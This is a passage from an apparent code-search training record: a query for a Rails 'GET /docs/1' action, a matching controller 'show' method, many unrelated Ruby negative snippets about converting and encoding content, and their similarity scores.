--format -`\n \n # Send the marcxml to the LC Bibframe converter \n # MARCXML to Bibframe conversion tools\n saxon = File.join(Rails.root, 'lib', 'saxon', 'saxon9he.jar')\n xquery = File.join(Rails.root, 'lib', @marc2bibframe, 'xbin', 'saxon.xqy')\n\n # The Saxon processor requires retrieving the marcxml from a file rather\n # than a variable or url, so we must write the result out to a temporary \n # file. Zorba could be used instead to retrieve directly over http without\n # writing to a file. See https://github.com/lcnetdev/marc2bibframe.\n # However, when export is selected we need to write marxml to a file anyway.\n marcxml_file = Tempfile.new ['bibid2bibframe-convert-marcxml-', '.xml'] \n # @bibframe = marcxml_file.path\n File.write(marcxml_file, @marcxml) \n \n method = (@serialization == 'ntriples' || \n @serialization == 'json') ? \"'!method=text'\" : ''\n\n turtle = @serialization == 'turtle' ? true : false\n @serialization = 'rdfxml' if turtle\n \n command = \"java -cp #{saxon} net.sf.saxon.Query #{method} #{xquery} marcxmluri=#{marcxml_file.path} baseuri=#{@catalog[:baseuri]} serialization=#{@serialization}\"\n @bibframe = %x(#{command})\n marcxml_file.close!\n \n if @bibframe.empty?\n @bibframe = \"[CONVERTER ERROR: no BIBFRAME RDF returned]\"\n end\n\n # LC Bibframe converter doesn't support turtle, so write Bibframe rdfxml\n # to a temporary file, convert to turtle, and read back into @bibframe.\n # TODO Can we avoid writing out the rdfxml and ttl to files? Try using\n # Tempfile class instead (see ConvertersController#export). Tried Ruby\n # rdf gems but it's not straightforward to get all prefixes into the\n # turtle.\n if turtle \n @serialization = 'turtle'\n rdfxml_file = Tempfile.new ['bibid2bibframe-convert-rdfxml-', '.rdf']\n File.write(rdfxml_file, @bibframe)\n turtle_file = Tempfile.new ['bibid2bibframe-convert-ttl-', '.ttl'] \n jarfile = File.join(Rails.root, 'lib', 'rdf2rdf-1.0.1-2.3.1.jar') \n @bibframe = %x(java -jar #{jarfile} #{rdfxml_file.path} #{turtle_file.path})\n @bibframe = File.read turtle_file\n rdfxml_file.close!\n turtle_file.close!\n end\n\n end", "def converter\n\n end", "def extract_text\n # check if we have a filter\n return if FILTERS[self.content_type].nil?\n\n # Create temporary working directory directory\n FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', 'documents'))\n\n # Find path to convert script\n convert_script = File.join(RAILS_ROOT, 'script', FILTERS[self.content_type])\n\n # Get paths to temp in/out file\n temp_file_in = self.create_temp_file.path\n temp_file_out = File.join(RAILS_ROOT, 'tmp', 'documents',\"#{self.id}.txt\")\n\n # Convert\n if system \"#{convert_script} #{temp_file_in} #{temp_file_out}\"\n self.content = File.read(temp_file_out)\n File.unlink(temp_file_out)\n else\n self.content = \"NO CONTENT\"\n end\n self.save\n end", "def preprocess_avc(contents)\n new_contents = contents # no manipulation done here\n new_contents\n end", "def content_type_switch\n\t\t@old_content_type = params[:old_content_type]\n\t\t@content_type = params[:content_type];\n\t\tif @old_content_type != @content_type\n\t\t\t@content = render_to_string :partial=>'convert_content',\n\t\t\t\t:locals=>{:content=>params[:content],\n\t\t\t\t\t:from_type=>@old_content_type,\n\t\t\t\t\t:to_type=>@content_type}\n\t\telse\n\t\t\t@content = params[:content]\n\t\tend\n\t\t@page = Page.new(:content=>@content, :content_type=>@content_type)\n\t\t#render :layout=>false\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.js { render :layout=>false }\n\t\t\tformat.xml { render :xml=>@page.to_xml }\n\t\tend\n\tend", "def convert\n begin\n if content_type == 'application/edi-hl7'\n message = HL7::Message.parse(self.content)\n partial = message.msh.message_type.message_code.downcase\n if partial.blank?\n # bad, very bad....\n partial = 'pit'\n message = 'Parsing error - HL7 has no MSH segment'\n end\n elsif content_type=='text/yaml'\n message = YAML.load(content)\n if narrative_type_id == 10\n partial = \"yaml_form\"\n elsif narrative_type_id == 11\n partial = \"yaml_script\"\n\t elsif narrative_type_id == 12\n partial = \"diagnoseslist\"\n elsif narrative_type_id == 2\n partial = \"medslist\"\n else\n raise \"cannot determine partial for yaml narrative type %s\" % content_type_id\n end\n elsif content_type=='application/pdf' or content_type=='image/jpg' or content_type=='image/png' or content_type=='image/gif' \n partial = 'file'\n else\n message = to_html\n partial = 'pit'\n \n end\n rescue HL7::Error\n # this should hardly happen as the message will have been parsed successfully\n # once to get into the DB\n partial= 'pit'\n message = \"Parsing error of HL7 - %s\" % $!.to_s\n end\n return [message,partial]\n end", "def convert() \n raise \"Unimplemented.\"\n\n#\t\tct = self.response.info()[\"content-type\"]\n#\t\tif True in [ct.find(q) != -1 for q in _SPARQL_XML] :\n#\t\t\treturn self._convertXML()\n#\t\telif True in [ct.find(q) != -1 for q in _SPARQL_JSON] :\n#\t\t\treturn self._convertJSON()\n#\t\telif True in [ct.find(q) != -1 for q in _RDF_XML] :\n#\t\t\treturn self._convertRDF()\n#\t\telif True in [ct.find(q) != -1 for q in _RDF_N3] :\n#\t\t\treturn self._convertN3()\n#\t\telse :\n#\t\t\t# this should cover, well, the rest of the cases...\n#\t\t\treturn self.response\n#\n end", "def converter\n end", "def convert(content, convertible)\n erb_view = Bridgetown::ERBView.new(convertible)\n\n erb_renderer = Tilt::ERBTemplate.new(trim: \"<>-\", outvar: \"@_erbout\") { content }\n\n if convertible.is_a?(Bridgetown::Layout)\n erb_renderer.render(erb_view) do\n convertible.current_document_output\n end\n else\n erb_renderer.render(erb_view)\n end\n end", "def convert(content)\n setup\n @cache.getset(content) do\n @parser.convert(content)\n end\n end", "def convert(object); end", "def convert!\n # Fonts and headings\n semanticize_font_styles!\n semanticize_headings!\n\n # Tables\n remove_paragraphs_from_tables!\n semanticize_table_headers!\n\n # list items\n remove_paragraphs_from_list_items!\n remove_unicode_bullets_from_list_items!\n remove_whitespace_from_list_items!\n remove_numbering_from_list_items!\n end", "def transforms; end", "def convert\n raise \"The convert method must be implemented by subclass!\"\n end", "def convert!\n resource\n end", "def convert\n @content = RDiscount.new(@raw_content).to_html\n end", "def convert(content, convertible)\n return content if convertible.data[:template_engine].to_s != \"erb\"\n\n erb_view = Bridgetown::ERBView.new(convertible)\n\n erb_renderer = Tilt::ErubiTemplate.new(\n convertible.path,\n line_start(convertible),\n outvar: \"@_erbout\",\n bufval: \"Bridgetown::OutputBuffer.new\",\n engine_class: ERBEngine\n ) { content }\n\n if convertible.is_a?(Bridgetown::Layout)\n erb_renderer.render(erb_view) do\n convertible.current_document_output.html_safe\n end\n else\n erb_renderer.render(erb_view)\n end\n end", "def processed_content\n self.to_s.letters.downcase\n end", "def processed_content\n self.to_s.downcase\n end", "def transform\n raise 'Implement this method in subclass'\n end", "def entity content\n end", "def transformations; end", "def encoder; end", "def encoder; end", "def encode\n @content.serialize_to_string\n end", "def convert(content)\n converters.reduce(content) do |output, converter|\n converter.convert output\n rescue StandardError => e\n Jekyll.logger.error \"Conversion error:\",\n \"#{converter.class} encountered an error while \" \\\n \"converting '#{document.relative_path}':\"\n Jekyll.logger.error(\"\", e.to_s)\n raise e\n end\n end", "def decode; end", "def decode; end", "def convert\n self.class.convert(object)\n end", "def convert_response(_response)\r\n raise NotImplementedError, 'This method needs\r\n to be implemented in a child class.'\r\n end", "def convert_binary\n end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def encoding; end", "def transmission; end", "def content_encoding_inflate(body_io); end", "def encode\n transform :encode \n end", "def processed_content\n \"\".tap do |result|\n result.replace(@content) # initialize the result to be @content\n result.replace(result.downcase) if @emphasis[:ignore_case]\n end\n end", "def encodings; end", "def __convert(h); end", "def content_encoding_hooks; end", "def content_encoding_hooks; end", "def process\n self.read_layouts\n self.read_posts\n self.write_posts\n self.write_archives\n self.transform_pages\n end", "def to_html\n case content_type\n when 'text/html'\n content\n when 'text/rtf'\n MessageProcessor.make_html_from_rtf(content)\n when 'text/plain'\n if content.starts_with?(\"{\\\\rtf\")\n MessageProcessor.make_html_from_rtf(content)\n else\n #MessageProcessor.make_html_from_text(content)\n content\n end\n when 'application/x-pit'\n c = content.scan(/^301 (.*)$/).join(\"\\n\")\n if c.starts_with? \"{\\\\rtf\"\n # it's rtf inside PIT\n MessageProcessor.make_html_from_rtf(c)\n else\n MessageProcessor.make_html_from_text(c)\n end\n when 'text/x-clinical'\n c = MessageProcessor.make_html_from_text(content).gsub(/\\*(\\w+)\\*/,\"<b>\\\\1</b>\")\n c.gsub(/\\{([^\\{]+)\\}/) do |str|\n obj = Code.get_clinical_object($1,self)\n if obj\n obj.to_html\n else\n str\n end\n end\n else\n MessageProcessor.make_html_from_text(content)\n end\n \n end", "def do_post_transform(metadata_content)\n metadata_content\n end", "def processed_content\n # Ignores anything that is not a letter or number\n to_s.scan(/[a-z\\d]/i).join.downcase\n end", "def encode!; end", "def processed_content\n to_s.scan(/[a-z\\d]/i).join.downcase\n end", "def processed_content\n letters_and_digits.downcase\n end", "def convert_file filename, content, in_dir, out_dir, language\n # Convert the file\n converter = AutoHeathen::Converter.new( { logger: logger } )\n action = converter.get_action content.content_type\n logger.debug \" convert: #{File.basename(filename)}, content_type: #{content.content_type}, action: #{action}\"\n start_time = Time.now\n outfile, data = converter.convert action, language, filename, content\n logger.debug \" conversion took %0.2f s\"%[Time.now-start_time]\n\n # Save the file\n outfile = to_outfile in_dir, filename, out_dir, outfile\n logger.info \" writing file: #{outfile}\"\n File.open outfile, \"wb\" do |f|\n f.write data\n end\nend", "def smart_convert!\n if @file_headers.any?\n @data = @data.map { |d_arr| @file_headers.each_with_object({}).with_index { |(h_name, h_hash), ind| h_hash[h_name] = d_arr[ind] } }\n @smart_convert = true\n end\n end", "def handle_content_element(cs, element, new_model)\n if element.blank?\n logger.warn \"MISSING ELEMENT for child selector #{cs.id} (#{cs.info}): #{cs.selector}\\nat url: #{new_model.url}\"\n return\n end\n\n content = nil\n case cs.data_resource.data_type\n when 'text', 'url', 'date'\n # assumes content is the text at this element\n content = element.text.squish\n # handles parsing issues with malformed HTML where content isn't captured by the selector (williams rss links)\n # logger.warn 'looking for next non blank' if content.blank?\n content = next_non_blank(element).text.squish if content.blank?\n when 'image'\n # logger.info \"saving image with url: #{element['url']}\"\n content = URI.parse(element['url'])\n else\n end\n\n # assign the text-based content to the proper column of the model\n new_model.assign_attributes(cs.column_name => content)\n end", "def processed_content\n self.to_s.downcase.gsub(/[^a-z0-9]/, \"\")\n end", "def getContent(mail)\n#Converts some characters back to what they should be\n text = mail.text_part.body.decoded\n text.encode!(\"UTF-8\", \"Windows-1250\")\n text.gsub!(\"’\", \"\\'\") #fixes apostrophe bug for parsing\n text.gsub!(/(\\n){3,}/, \"\\n\\n\") #remove excess newlines\n return text\n end", "def processed_content\n\t\tto_s.scan(/[a-z0-9]/i).join.downcase\n\tend", "def convert_80!\n convert_rec!(*get_node_type_and_version)\n end", "def transform(transformation)\n end", "def processed_content\n to_s.scan(/[a-z\\d]/i).join.downcase\n end", "def serialize\n \n end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end" ]
[ "0.76085526", "0.76085526", "0.6679949", "0.6548518", "0.6500136", "0.6409953", "0.6409953", "0.62010676", "0.62005144", "0.6000762", "0.5934672", "0.5866704", "0.5853359", "0.58373624", "0.58219415", "0.5784155", "0.57585126", "0.57382053", "0.57382053", "0.57382053", "0.57222337", "0.57002157", "0.56506336", "0.5637761", "0.56229466", "0.5608404", "0.5601768", "0.56009245", "0.5578876", "0.5546551", "0.55427486", "0.55193835", "0.5514788", "0.550325", "0.5501497", "0.54903644", "0.54251146", "0.53983235", "0.5379602", "0.53575724", "0.5341643", "0.5319941", "0.5312726", "0.5281955", "0.5281955", "0.5258332", "0.52100575", "0.5208077", "0.5208077", "0.5202711", "0.5198636", "0.51980454", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5191431", "0.5160857", "0.5125905", "0.51161796", "0.5113402", "0.50889224", "0.50887716", "0.50873774", "0.50873774", "0.5073853", "0.5068403", "0.5032632", "0.5029466", "0.50268483", "0.50259125", "0.5021857", "0.5016396", "0.50149995", "0.50027", "0.50015396", "0.5001438", "0.49811077", "0.49779806", "0.49763718", "0.49649093", "0.49560922", "0.49493408", "0.49493408", "0.49493408", "0.49493408", "0.49493408", "0.49493408", "0.49493408", "0.49493408" ]
0.6687939
2
GET /docs/1 GET /docs/1.xml
def show @doc = Doc.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @doc } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @docs = Doc.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @docs }\n end\n end", "def index\n @documentations = Documentation.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentations }\n end\n end", "def documents(params={})\n server.get(\"#{name}/_all_docs\", params)\n end", "def docs api\n\t\tget_html \"#{@options[:docs]}/#{@apis[api][:url]}.htm\"\n\tend", "def request_doc\n \n end", "def show\n @documentation = Documentation.find(params[:id])\n @documentations = Documentation.find(:all)\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @documentation }\n end\n end", "def get_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Get.new(uri)\n run(uri, req)\n end", "def show\n render_result('Current API has no definition for just calling /docs. Call /docs/changes or /docs/deletes')\n end", "def index\n @documents = Document.find :all\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @documents }\n end\n end", "def document_details(guid)\n get \"/api/documents/#{guid}.xml\"\n end", "def show_documentation req, res\n store, path = documentation_source req.path\n\n if_modified_since req, res, store.cache_path\n\n generator = generator_for store\n\n case path\n when nil, '', 'index.html' then\n res.body = generator.generate_index\n when 'table_of_contents.html' then\n res.body = generator.generate_table_of_contents\n when 'js/search_index.js' then\n documentation_search store, generator, req, res\n else\n documentation_page store, generator, path, req, res\n end\n ensure\n res.content_type ||= 'text/html'\n end", "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend", "def retrieve_docs_from_host1\n apis = {}\n host = @doc_urls[:doc_base1][%r{^https?:\\/\\/[^\\/]+}]\n apis_received = open(@doc_urls[:doc_base1], @api_docs, &:read).scan(/<a class=\"swagger-list--item-link\" href=\"\\/(.+?)\".*?>\\s*(.+?)\\s*<\\/a>/i)\n \n apis_received.each do |path, title|\n begin\n api = { path: \"#{@doc_urls[:doc_base1]}#{path}\",\n title: title.sub(/\\s*\\(.+?\\)$/, ''),\n deprecated: title.include?('(Deprecated)') }\n\n fetched_path = open(api['path'], Options, &:read).scan(%r{url:\\s*'(.+?)'})\n api[:path] = \"#{host}#{fetched_path}\"\n apis[api[:title]] = api\n rescue OpenURI::HTTPError\n # Some log here\n end\n end\n\n apis\n end", "def service_document\n response = get(@url.to_s)\n response.body\n end", "def get_doc \n @doc\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end", "def show\n @docent = Docent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @docent }\n end\n end", "def get_document( doc_id:, version:CURRENT, filename: )\n params = {}\n params[:backtrace] = @backtrace if @backtrace\n send_request :get, path_for(doc_id, filename, version), {}, :binary\n end", "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend", "def index\n @documentos = @externo.documentos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documentos }\n end\n end", "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n end\n end", "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n end\n end", "def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end", "def index_documents\n @params = {}\n @action = 'index_documents'\n \n send_auth_request\n end", "def show\n @tdoc = Tdoc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tdoc }\n end\n end", "def index\n @space = Space.where(:wiki_name => params[:space_id])[0]\n @documents = @space.documents.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @documents }\n format.json { render :json => @documents.to_json }\n end\n end", "def index\n apis = site_account.api_docs_services\n .published\n .with_system_names((params[:services] || \"\").split(\",\"))\n .select{ |api| api.specification.swagger_1_2? }\n\n respond_with({\n swaggerVersion: \"1.2\",\n apis: apis.map!{ |service| swagger_spec_for(service) },\n basePath: \"#{request.protocol}#{request.host}\"\n })\n end", "def ri_docs(*args)\n resources, opts = ri_opts(args)\n raise ArgumentError, \"Only one resource allowed\" if resources.length > 1\n res = resources.first\n res.concept_docs(self.xxhash, opts)\n end", "def api_docs(method)\n @doc_urls ||= {}\n @doc_urls[method]\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n end\n end", "def document(path); end", "def show\n @library_doc = LibraryDoc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @library_doc }\n end\n end", "def docs; end", "def index\n \n @docfiles = Docfile.all\n end", "def root req, res\n generator = RDoc::Generator::Darkfish.new nil, @options\n\n res.body = generator.generate_servlet_root installed_docs\n\n res.content_type = 'text/html'\n end", "def docs\n @docs ||= raw_response['response']['docs']\n end", "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end", "def get_doc(id,*opts)\n q = \"#{database}/#{id}\"\n q << build_query_string(opts.first,\"doc\") if opts && opts.any? && opts.first.is_a?(Hash)\n\n @conn.query({url_path: q, method: :get})\n end", "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n format.json { render :json => @document }\n end\n end", "def show\n @doc = Doc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @doc }\n end\n end", "def show\n @document_status = DocumentStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document_status }\n end\n end", "def documents; end", "def documents; end", "def show\n\n active_doc = site_account.api_docs_services.published.find_by_id_or_system_name! params[:id]\n\n json = if active_doc.specification.swagger_2_0?\n active_doc.specification.as_json\n else\n ThreeScale::Swagger::Translator.translate! active_doc.body\n end\n\n respond_with json\n end", "def index\n @document_statuses = DocumentStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @document_statuses }\n end\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def index\n if request.format.html?\n api_canon_docs\n else\n super\n end\n end", "def root_search req, res\n search_index = []\n info = []\n\n installed_docs.map do |name, href, exists, type, path|\n next unless exists\n\n search_index << name\n\n case type\n when :gem\n gemspec = path.gsub(%r%/doc/([^/]*?)/ri$%,\n '/specifications/\\1.gemspec')\n\n spec = Gem::Specification.load gemspec\n\n path = spec.full_name\n comment = spec.summary\n when :system then\n path = 'ruby'\n comment = 'Documentation for the Ruby standard library'\n when :site then\n path = 'site'\n comment = 'Documentation for non-gem libraries'\n when :home then\n path = 'home'\n comment = 'Documentation from your home directory'\n when :extra\n comment = name\n end\n\n info << [name, '', path, '', comment]\n end\n\n index = {\n :index => {\n :searchIndex => search_index,\n :longSearchIndex => search_index,\n :info => info,\n }\n }\n\n res.body = \"var search_data = #{JSON.dump index};\"\n res.content_type = 'application/javascript'\n end", "def show\n @documento = @externo.documentos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @documento }\n end\n end", "def show\n @document = Document.find(:first, :conditions => [\"id = ?\", params[:id]])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end", "def get_document_info( doc_id: )\n params = {}\n params[:backtrace] = @backtrace if @backtrace\n send_request :get, url_for_base(doc_id), params, :json\n end", "def documentation_url; end", "def new\n @doc = Doc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end", "def load_doc(path)\n page = HTTParty.get(path)\n \n Nokogiri::HTML(page)\nend", "def show\n @published_document = PublishedDocument.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @published_document }\n end\n end", "def show\n \n # @response, @document = get_solr_response_for_doc_id(params[:id], )\n @response, @document = get_solr_doc_with_gated_discovery(params[:id])\n folder_siblings(@document)\n\n \n respond_to do |format|\n format.html {setup_next_and_previous_documents}\n\n # Add all dynamically added (such as by document extensions)\n # export formats.\n @document.export_formats.each_key do | format_name |\n # It's important that the argument to send be a symbol;\n # if it's a string, it makes Rails unhappy for unclear reasons. \n format.send(format_name.to_sym) { render :text => @document.export_as(format_name), :layout => false }\n end\n \n end\n rescue Blacklight::Exceptions::InvalidSolrID\n flash[:notice]= \"You do not have sufficient access privileges to read this document, which has been marked private.\"\n redirect_to(\"/\") and return false\n end", "def docs\n @docs ||= []\n end", "def index1\n @publications = Publication.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @publications }\n end\n end", "def index\n respond_to do |format|\n format.html\n format.xml\n end\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "def list_doc\r\n @query = params[:query]\r\n @pages = []\r\n @docs = []\r\n if request.post? || @query\r\n case @query\r\n when /type:(\\w+)/\r\n case $1\r\n when /^unknown/i\r\n @docs = Document.find_unknown\r\n @pages = Paginator.new(self, @docs.length, PER_PAGE, params[:page])\r\n \r\n page = (params[:page] ||= 1).to_i\r\n offset = (page - 1) * PER_PAGE\r\n @docs = @docs[offset..(offset + PER_PAGE - 1)]\r\n end\r\n else\r\n @pages, @docs = paginate(\r\n :documents,\r\n :conditions => \"path LIKE '%#{@query}%'\",\r\n :per_page => PER_PAGE)\r\n end\r\n end\r\n end", "def index\n @client_docs = ClientDoc.all\n end", "def index\n @xml_samples = XmlSample.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @xml_samples }\n format.xml { render xml: @xml_samples }\n end\n end", "def getDoc(key); @docs[key] end", "def url\n @doc.url\n end", "def show\n @response, @document = get_solr_response_for_doc_id params[:id]\n respond_to do |format|\n format.html {setup_next_and_previous_documents}\n format.rss { render :layout => false }\n # Add all dynamically added (such as by document extensions)\n # export formats.\n @document.export_formats.each_key do | format_name |\n # It's important that the argument to send be a symbol;\n # if it's a string, it makes Rails unhappy for unclear reasons.\n format.send(format_name.to_sym) { render :text => @document.export_as(format_name), :layout => false }\n end\n\n end\n end", "def action_documents\n # Code borrowed from [blacklight]/app/services/blacklight/search_service.rb\n solr_response = search_service.repository.find params[:id]\n # Not sure if we need to set @documents in this context (d.croney)\n @documents = solr_response.documents\n [solr_response, solr_response.documents]\n end", "def solr_resp_single_doc(doc_id, solr_params = {})\n solr_response(solr_params.merge({'qt'=>'document','id'=>doc_id}))\nend", "def show\n @documentoclasificacion = Documentoclasificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @documentoclasificacion }\n end\n end", "def index\n @documents = Document.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n end\n end", "def new\n @documentation = Documentation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @documentation }\n end\n end", "def show\n respond_to do |format|\n format.html do\n # this strips the counter when we don't want it, ie when there is no search\n redirect_to(:action => \"show\", :id => params[:id]) if session[:search].blank? && params[:counter]\n\n # this cleans out the search criteria when we're coming from a copy/paste URL without counter\n # because we don't want the context of whatever search we were in\n session[:search] = {} unless params[:counter]\n\n @response = get_solr_response_for_doc_id(params[:id])\n @document = SolrDocument.new(@response.docs.first)\n\n setup_previous_document\n setup_next_document\n end\n format.xml do\n @response = get_solr_response_for_doc_id(params[:id])\n @document = SolrDocument.new(@response.docs.first)\n render :xml => @document.to_xml\n end\n end\n\n end", "def browse(options={})\n response = API.instance.send_request('docs.browse', options.merge(:category_id => self.scribd_id))\n documents = []\n response.elements['/rsp/result_set'].elements.each do |doc|\n documents << Document.new(:xml => doc)\n end\n return documents\n end", "def index\n # need to think how to order these in a sensible way\n @library_docs = LibraryDoc.order('category, reference').\n paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @library_docs }\n end\n end", "def get_document_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DocumentApi.get_document_all_using_get ...'\n end\n # resource path\n local_var_path = '/nucleus/v1/document'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageDocument')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DocumentApi#get_document_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n if params[:view] == \"last\"\n \t@docs = Doc.find_all_by_created_by(current_user.email)\n \tunless @docs.blank?\n \t\t@docs = [@docs.sort{|x,y| x.updated_at <=> y.updated_at}.last]\n \tend\n elsif params[:view] == \"deprecated\"\n \t@docs = Doc.find_all_by_deprecated(true)\n else\n \tparams[:search] ? @docs = Doc.search(params[:search]) : @docs = Doc.all\n end\n @latest_docs = Doc.get_latest_components\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @docs }\n end\n end", "def get(id)\n Gini::Api::Document.new(self, \"/documents/#{id}\")\n end", "def default_api_doc req, endpoint\n response api_html(endpoint.to_markup)\n end", "def index\n\n @documentable = find_resource\n @documents = @documentable.documents\n\n end", "def url\n URL_MAPPING[@docid]\n end", "def action_documents\n @bookmarks = token_or_current_or_guest_user.bookmarks\n bookmark_ids = @bookmarks.collect { |b| b.document_id.to_s }\n query_params = {\n q: bookmarks_query(bookmark_ids),\n defType: 'lucene',\n rows: bookmark_ids.count\n }\n solr_response = search_service.repository.search(query_params)\n [solr_response, solr_response.documents]\n end", "def getDoc(doc)\n uri = URI.parse(\"https://api.figma.com/v1/files/#{doc[\"document\"]}\")\n request = Net::HTTP::Get.new(uri)\n request[\"X-Figma-Token\"] = @figmatoken\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n \n response.body\n end", "def all_docs(*opts)\n q = \"#{database}/_all_docs\"\n q << build_query_string(opts.first,\"all_docs\") if opts && opts.any? && opts.first.is_a?(Hash)\n\n @conn.query({url_path: q, method: :get})\n end", "def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end", "def get_doc(url)\n page = MetaInspector.new(url)\n doc = page.document\n\n raise page.errors[0] if !page.ok?\n\n doc\n end", "def index\n @tutorials = Tutorial.all\n @title = \"A collection of Ruby on Rails tutorials\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tutorials }\n end\n end", "def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requests }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end", "def new\n @docent = Docent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @docent }\n end\n end", "def show\n @uplaod_files = UploadFile.where(\"doc_no=?\",params[:doc_no])\n @upload_file = UploadFile.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @upload_file }\n end\n end", "def docs\n if @docs.nil?\n @docs = FeedTools::XmlHelper.try_xpaths(\n self.channel_node, [\"docs/text()\"],\n :select_result_value => true)\n begin\n if !(@docs =~ /^file:/) &&\n !FeedTools::UriHelper.is_uri?(@docs)\n channel_base_uri = nil\n unless self.channel_node.nil?\n channel_base_uri = 